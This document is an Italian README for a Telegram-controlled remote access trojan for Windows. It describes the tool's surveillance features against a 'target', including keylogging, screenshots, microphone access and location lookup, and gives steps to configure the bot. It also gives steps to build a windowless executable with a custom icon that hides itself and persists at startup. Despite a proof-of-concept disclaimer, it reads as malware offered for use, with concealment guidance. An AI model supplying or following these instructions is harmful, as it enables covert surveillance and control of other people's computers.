RAT-via-Telegram

Note di Dviros:

Strumento di post-compromissione remota per Windows via Telegram (Python 2.7), Originariamente creato da Ritiek, fatto il fork e modificato da mvrozanti e poi da me.

L'intero scopo di questo strumento è dimostrare (come "PoC") il controllo di una macchina già compromessa, tramite Telegram. Come per i miei strumenti già scritti, non promuovo attività illegali.

Questa versione modificata usa la Telegram bot API v2, invece della tradizionale v1. Il cambiamento principale è rappresentato dai pulsanti della tastiera invece della digitazione del testo. Proverò ad aggiungere nuove funzionalità, correggere bug ed essere compatibile con l'API v3, dopo aver aggiunto le modifiche necessarie da "mvrozanti". Nel frattempo, i comandi cd, download, upload, run e delete non funzioneranno.

Le donazioni saranno molto apprezzate

Funzionalità attualmente funzionanti:

• Avvia keylogger sul target
• Ottieni versione di Windows del PC target, processore e altro
• Ottieni informazioni sull'indirizzo IP del PC target e posizione approssimativa sulla mappa
• [WIP] Elimina file o cartelle sul target
• Mostra directory corrente sul target
• [WIP] Cambia directory corrente sul target
• Elenca directory corrente o specificata sul target
• [WIP] Scarica qualsiasi file dal target
• Carica file locali sul target. Invia la tua immagine, pdf, exe o qualsiasi cosa come file al bot Telegram
• Avvia automaticamente la riproduzione di un video di youtube a schermo intero e senza controlli sul target
• Screenshot del target
• [WIP] Esegui qualsiasi file sul target
• Accesso al microfono sul target
• Avvia server proxy HTTP
• Congela la tastiera del target
• Restituisci la tabella ARP del target
• [WIP] Pianifica attività da eseguire a un orario specificato
• [WIP] Congela il mouse del target
• Ottieni processi e servizi attivi
• [WIP] Cattura clipboard (Testo, Immagine)
• [WIP] Disabilita/Abilita mouse/tastiera
• [WIP] Nascondi icone del desktop
• [WIP] Aggiorna .exe sul target
• [WIP] Spegnimento \ Riavvio del computer
• [WIP] Auto-distruzione del RAT sul target
• [WIP] Scatta foto dalla webcam (se collegata)
• [WIP] Copia e sposta file sul target
• [WIP] Compressione audio
• Altre funzionalità in arrivo!

Note originali di Ritiek:

Perché un altro?

• Gli attuali Remote Administration Tools sul mercato affrontano 2 problemi principali:

  • Mancanza di crittografia.
  • Richiedono il port forwarding per controllare da centinaia di miglia di distanza.

• Questo RAT supera entrambi questi problemi utilizzando la Telegram bot API.

  • Totalmente crittografato. I dati scambiati non possono essere spiati utilizzando strumenti MITM.
  • L'app di messaggistica Telegram fornisce un modo semplice per comunicare con il target senza configurare il port forwarding in anticipo sul target.

Screenshot:

Installazione e utilizzo:

• Clona questo repository.
• Configura un nuovo bot Telegram parlando con il BotFather.
• Copia questo token e sostituiscilo all'inizio dello script.
• Installa le dipendenze: pip install -r requirements.txt.
• Installa pyHook 64-bit o 32-bit a seconda del tuo sistema.
  • Per 64-bit- pip install pyHook-1.5.1-cp27-cp27m-win_amd64.whl.
  • Per 32-bit- pip install pyHook-1.5.1-cp27-cp27m-win32.whl.
• Per eseguire lo script: python RATAttack.py.
• Trova il tuo bot su Telegram e invia qualche comando al bot per testarlo.
• Per limitare il bot in modo che risponda solo a te, annota il tuo chat_id dalla console, sostituiscilo nello script e commenta la riga return True. Non preoccuparti, lo capirai quando leggerai i commenti nello script.
• Una cartella di nome RATAttack verrà creata nella tua directory di lavoro contenente e qualsiasi file carichi sul bot.

Compilazione:

Come compilare:

Opzione:

Sostituisci il tuo percorso in compileAndRun.bat (eseguirlo avvierà effettivamente l'eseguibile)

Oppure:

Esegui `pyinstaller --onefile --noconsole C:\path\to\RATAttack.py`. Puoi anche passare `--icon=<path\to\icon.ico>` per usare qualsiasi icona personalizzata.

• Una volta compilato con successo, trova il file .exe in C:\Python27\Scripts\dist\. Puoi cambiare il nome del .exe in qualsiasi cosa desideri.
• ATTENZIONE! Se esegui l'.exe compilato, lo script si nasconderà e infetterà il tuo PC per eseguirsi all'avvio. Puoi tornare alla normalità usando l'opzione /self_destruct o rimuovendo manualmente la directory C:\Users\Username\AppData\Roaming\Portal e C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\portal.lnk (anche se per il momento consiglio di rimuoverle manualmente).

Modifica delle impostazioni:

• Puoi anche modificare il nome del file .exe nascosto e la posizione e il nome della cartella in cui il .exe nascosto si nasconderà. Per fare ciò, modifica rispettivamente compiled_name e hide_folder.
• Assegna i tuoi chat id noti all'inizio di RATAttack.py

Licenza:

The MIT License